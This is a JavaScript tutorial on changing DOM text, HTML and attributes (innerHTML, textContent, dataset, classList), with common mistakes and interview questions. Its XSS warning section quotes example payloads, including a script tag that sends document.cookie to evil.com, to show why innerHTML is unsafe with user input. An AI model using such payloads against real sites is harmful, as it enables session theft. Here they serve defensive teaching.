JavaScript Notes
Learn how to change text, HTML, and attributes of DOM elements using JavaScript. Master textContent vs innerHTML vs innerText, setAttribute, dataset, classList with real-world examples and XSS prevention.
The Three Ways to Change Text/HTML
Once you have selected a DOM element, you have three main properties to read or change its content:
innerHTML — HTML Content (Powerful but Risky)
innerHTML gets or sets the HTML markup inside an element. Tags ARE parsed and rendered.
<div id="container">
<p>Old content</p>
</div>
<button onclick="updateHTML()">Update HTML</button>
<script>
const container = document.getElementById('container');
function updateHTML() {
// READING innerHTML
console.log(container.innerHTML);
// "<p>Old content</p>"
// SETTING innerHTML — completely replaces all content
container.innerHTML = `
<h2>New Heading</h2>
<p>This is <strong>bold</strong> and <em>italic</em> text.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
`;
// READING after update
console.log(container.children.length); // 3
}
</script>"<p>Old content</p>" 3
Before/After Visual
⚠️ Security Warning: XSS with innerHTML
<input id="userInput" type="text" placeholder="Type something...">
<button onclick="displayInput()">Display</button>
<div id="output"></div>
<script>
function displayInput() {
const input = document.getElementById('userInput').value;
// ❌ DANGEROUS — user can type malicious HTML:
// <img src=x onerror="alert('Hacked!')">
// <script>fetch('https://evil.com?c='+document.cookie)</script>
document.getElementById('output').innerHTML = input;
// ✅ SAFE — use textContent for any user-provided content
document.getElementById('output').textContent = input;
}
</script>innerText vs textContent — The Key Difference
They look similar but have important behavioral differences:
<div id="example">
<p>Visible paragraph</p>
<p style="display: none;">Hidden paragraph</p>
<p>Another spaced paragraph</p>
</div>
<script>
const el = document.getElementById('example');
console.log('--- textContent ---');
console.log(el.textContent);
console.log('--- innerText ---');
console.log(el.innerText);
</script>--- textContent --- Visible paragraph Hidden paragraph Another spaced paragraph --- innerText --- Visible paragraph Another spaced paragraph
Comparison Table
| Feature | textContent | innerText | innerHTML |
|---|---|---|---|
| Returns HTML tags | ❌ No | ❌ No | ✅ Yes |
| Includes hidden elements | ✅ Yes | ❌ No (respects CSS) | ✅ Yes |
| Preserves whitespace | ✅ All | ❌ Collapses spaces | Depends |
| Triggers browser reflow | ❌ No | ✅ Yes (performance cost) | ❌ No |
| Safe from XSS | ✅ Always | ✅ Always | ❌ Not safe with user input |
| Speed | ⚡ Fastest | 🔶 Slower | 🔶 Fast |
setAttribute & getAttribute — Managing Attributes
"old-photo.jpg" "Old Alt Text" "small" null true false
dataset — Custom Data Attributes
data-* attributes let you store custom data in HTML. The dataset property provides easy access.
<div class="product-card"
data-product-id="42"
data-product-name="Wireless Headphones"
data-price="2999"
data-in-stock="true">
<h3>Wireless Headphones</h3>
<button class="btn-buy">Add to Cart</button>
</div>
<script>
const card = document.querySelector('.product-card');
// Reading data attributes via dataset
// data-product-id → dataset.productId (kebab-case → camelCase)
// data-product-name → dataset.productName
// data-in-stock → dataset.inStock
console.log(card.dataset.productId); // "42" (always a string!)
console.log(card.dataset.productName); // "Wireless Headphones"
console.log(card.dataset.price); // "2999" (string, not number)
console.log(card.dataset.inStock); // "true" (string, not boolean)
// Type conversion needed for numbers/booleans
const price = Number(card.dataset.price);
const inStock = card.dataset.inStock === 'true';
console.log(price + 100); // 3099 (number arithmetic)
console.log(inStock && 'Available'); // "Available"
// Writing dataset values
card.dataset.addedToCart = 'yes'; // creates data-added-to-cart
card.dataset.price = '2499'; // updates data-price
// Deleting a data attribute
delete card.dataset.inStock;
// Check via getAttribute
console.log(card.getAttribute('data-product-id')); // "42"
</script>"42" "Wireless Headphones" "2999" "true" 3099 "Available" "42"
classList — Managing CSS Classes
true false "visible animated error" 3 ["visible", "animated", "error"]
Real World Use Cases
Common Mistakes
❌ Mistake 1: Using innerHTML with user input (XSS)
// ❌ NEVER do this with user-provided data
div.innerHTML = userInput; // could execute malicious scripts!
// ✅ Always use textContent for user data
div.textContent = userInput; // tags shown as text, never executed❌ Mistake 2: Using innerHTML += (loses event listeners)
// ❌ This re-parses the entire content — event listeners on children are LOST
container.innerHTML += '<p>New paragraph</p>';
// ✅ Use insertAdjacentHTML or createElement + append
container.insertAdjacentHTML('beforeend', '<p>New paragraph</p>');❌ Mistake 3: Forgetting dataset values are always strings
// ❌ Wrong — dataset.age is "25" (string), not 25 (number)
const age = card.dataset.age;
if (age > 18) { ... } // "25" > 18 → may work but fragile!
// ✅ Correct — convert explicitly
const age = Number(card.dataset.age);
if (age > 18) { ... } // 25 > 18 = true ✅❌ Mistake 4: Using className to add classes (clobbers existing)
// ❌ This REPLACES all existing classes
element.className = 'new-class'; // previous classes gone!
// ✅ Use classList to ADD without removing
element.classList.add('new-class'); // keeps existing classesInterview Questions
Q1. What is the difference between textContent and innerHTML? > textContent returns/sets raw text — HTML tags are not parsed and are shown literally. innerHTML returns/sets HTML markup — tags are parsed and rendered in the browser. Use textContent for safe text updates, innerHTML when you need to inject actual HTML.
Q2. Why is innerHTML dangerous with user input? > Because the browser parses and executes the HTML, including event handlers and scripts. A malicious user could inject <img src=x onerror="alert('xss')"> or steal cookies. Always use textContent for user-provided content.
Q3. What is the difference between textContent and innerText? > textContent returns all text including hidden elements and preserves all whitespace. innerText returns only visible text (respects display:none, visibility:hidden) and normalizes whitespace. textContent is faster because it doesn't trigger a browser reflow.
Q4. What is the dataset property? How do you convert data-user-name to JavaScript? > dataset is an object that maps data-* attributes to camelCase properties. data-user-name becomes element.dataset.userName. All values are strings — convert with Number() or === 'true' as needed.
Q5. What is the difference between setAttribute('class', ...) and classList.add(...)? > setAttribute('class', 'new') replaces all existing classes. classList.add('new') adds to existing classes. Always prefer classList methods for manipulating classes.
Q6. Does innerHTML = '' delete the element or just its contents? > It deletes all the contents of the element (children), but the element itself remains in the DOM. Use element.remove() to remove the element itself.
Key Takeaways
✅ textContent = safe, fast, no HTML parsing — use for text
✅ innerHTML = powerful, renders HTML — NEVER use with user input
✅ innerText = like textContent but respects CSS visibility (slower)
✅ setAttribute/getAttribute = for HTML attributes like src, href, alt
✅ dataset = camelCase access to data-* attributes (always returns strings!)
✅ classList.add/remove/toggle = clean way to manage CSS classes
✅ innerHTML += loses event listeners — use insertAdjacentHTML instead
✅ Always convert dataset values from string to number/boolean when neededExam Focus
Revise definitions, diagrams, examples, and short-answer points for JavaScript DOM Changing Content - textContent, innerHTML, setAttribute Complete Guide.
Interview Use
Prepare one clear explanation, one practical example, and one common mistake for this JavaScript Master Course topic.
Search Terms
javascript-complete-guide, javascript master course, javascript, complete, guide, dom, changing, content
Related JavaScript Master Course Topics